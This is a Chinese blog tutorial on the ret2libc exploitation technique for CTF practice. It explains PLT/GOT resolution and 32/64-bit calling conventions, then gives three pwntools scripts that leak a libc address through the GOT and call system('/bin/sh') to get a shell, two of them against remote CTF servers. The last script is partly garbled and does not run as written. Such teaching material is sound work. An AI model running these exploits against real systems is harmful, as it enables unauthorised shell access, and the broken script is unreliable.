ret2libc
基本ROP里最后也是最难的一种攻击方式ret2libc。
我们攻击一个程序,想要获取一个shell,目前简单来说其实就是system一个"/bin/sh"进去。那其实大部分程序会那么好的给你system又给你/bin/sh吗?其实并不会,那我们是不是没有办法得到system("/bin/sh")呢?当然不是,这里讲一下静态链接和动态链接。


其实说白了,我们需要注意的就是静态链接就是把libc库放到了文件里面,这样的文件一般会很大。而动态链接只会在文件里留下一些调用的表项,文件里并没有libc库里面的代码。动态链接的函数都是位置无关的,即函数放哪个地址都可以用。
如果我们的二进制文件里并没有system,/bin/sh。ret2libc的攻击思路就是去libc里面去找,因为libc库无论哪一个版本里都有大量的代码片段,里面都一定会有system,/bin/sh。
当我们从libc库里面找到这些gadget,并构造合理的payload就可以获得shell。静态链接的文件我们可以直接用ELF工具加载文件本身就可以找到,但是这样的题目一般很少。大部分都是动态链接的题目,需要我们去载入正确的libc库找到正确的版本去完成。
这里再补充一下plt和got表的知识,第一次调用libc里的函数,会直接到plt代码段,这里面存着所有动态链接的函数的表项,里面存着的并不是函数在libc里的真实地址,然后在plt里每一个函数的表项里都存着一些汇编指令,

比如这里有一个foo函数,它在plt表象里就会有这些汇编,第一条就会到一个叫got表的地方,这里会立刻存下plt表项的地址,然后就通过这个地址回到plt表上。这时候plt表项的下面的汇编代码就会开始发挥作用,概况一下就是分析出函数的真实地址,然后立刻送到got表上,这就是第一次调用函数。
第二次调用时,到plt上,因为plt第一条汇编语言就是到got表上,而got上现在已经有foo函数的真实地址,这样就可以获取函数的真实地址。
直接看示例


这题无system也无/bin/sh。属于动态链接,逻辑很简单,先进入vulnerable函数,调用write函数,然后一个输入,这里就可以发生栈溢出,再回到main函数结束。
我们需要system函数,它在哪?libc里,那我们这么获得它的地址呢?直接搜肯定搜不到,这里我们要知道,我们由于一些保护的原因(ASLR,PIE),我们在libc里搜索的函数查到的地址都是相对与第一个函数的偏移量,并不是真实地址。正确的方法是利用got表我们获取一个已经调用过的函数的真实地址,然后利用libc的每一个函数对应得偏移量去计算出system函数和/bin/sh得真实地址,这样就可以获取一个shell。在这道题上,最好的函数就是这个write函数。
这道题是32位的,这里引用一个博主的脚本
点击查看代码
from pwn import *p = process("./level3")
elf=ELF('./level3')
libc =ELF('/lib/i386-linux-gnu/libc.so.6')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil(":\n")
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_got_addr=u32(p.recv())
print hex(write_got_addr)
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
p.recvuntil(":\n")
p.sendline(payload2)
p.interactive()
————————————————
版权声明:本文为CSDN博主「w0nderMaker」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/wuyvle/article/details/113045632
首先加载文件和libc软链接。这个libc = ELF('/lib/i386-linux-gnu/libc.so.6')是怎么来的呢?

用ldd指令就可以知道
分别加载出write函数在各个地方的地址,然后注意第一个payload,这里最后用上了main函数的地址,这个地址就是 vulnerable_function函数的地址,在payload里放出来就是会使这个输入走两遍,上面说过了,第一次会获取使got表上有真实地址,但是第二次才可以获取到write函数的真实地址。所以要总共发送两遍payload,payload里一些数据是需要满足wirte对应的参数,这里直接用栈传参。后面就是得到了write函数的真实地址,进而进行计算得到system和/bin/sh真实地址.
这是32位的程序,那么64位呢?
这里困扰了我很久。先说一下主要区别,就是32位程序是用栈传参数,而64位会用6个寄存器传参数,顺序是固定的rdi, rsi, rdx, rcx, r8, r9,再不够才用栈传参。
这里展示一下这道题64位版本的脚本,题目内容都是一样的。
点击查看代码
from pwn import *
#context.log_level="debug"
elf=ELF("level3_x64")
write_plt=elf.symbols["write"]
write_got=elf.got["write"]
vul_addr=elf.symbols['vulnerable_function']
p=remote("pwn2.jarvisoj.com",9883)
p.recvuntil("Input:\n")
pop_rdi_addr=0x00000000004006b3 #0x00000000004006b3 : pop rdi ; ret
pop_rsi_r15_addr=0x00000000004006b1 #0x00000000004006b1 : pop rsi ; pop r15 ; ret
payload1='a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_r15_addr)+p64(write_got)+"junkjunk"+p64(write_plt)+p64(vul_addr)
p.sendline(payload1)
t=p.recv(8)
write_addr=u64(t[0:8])
print "write_addr="+hex(write_addr)
libc=ELF("libc-2.19.so")
offset=write_addr-libc.symbols["write"]
sys_addr=offset+libc.symbols["system"]
bin_addr=offset+libc.search("/bin/sh").next()
payload2='a'*0x88+p64(pop_rdi_addr)+p64(bin_addr)+p64(sys_addr)+"ret-addr"
p.sendline(payload2)
p.interactive()
p.close()
<details>
<summary>点击查看代码</summary>
from pwn import *
from LibcSearcher import *
io=remote("1.14.71.254",28282)
io=process("./littleof")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("libc-2.27-hechenbei.so")
elf=ELF("./babyof")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=0x40066B
rdi_addr=0x0000000000400743
rsi_r15_addr=0x0000000000400741
io.recvuntil("Do you know how to do buffer overflow?")
payload='a'*(0x40+8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
io.recvuntil("I hope you win\n")
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.sym["puts"]
libcbase=puts_addr-libc.dump("puts")
ys_addr=libcbase+libc.dump("system")
bin_addr=libcbase+libc.dump("str_bin_sh")
libcbase=puts_addr-libc.sym["puts"]
sys_addr=libcbase+libc.sym["system"]
bin_addr=libcbase+libc.search("/bin/sh\x00").next()
io.recvuntil("Do you know how to do buffer overflow?")
payload="a"(0x40+0x8)+p64(rdi_addr)+p64(bin_addr)+p64(rsi_r15_addr)+p64(0)2+p64(sys_addr)
io.sendline(payload)
io.interactive()
</details>
————————————————
版权声明:本文为CSDN博主「发蝴蝶和大脑斧」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_41617275/article/details/84843638

浙公网安备 33010602011771号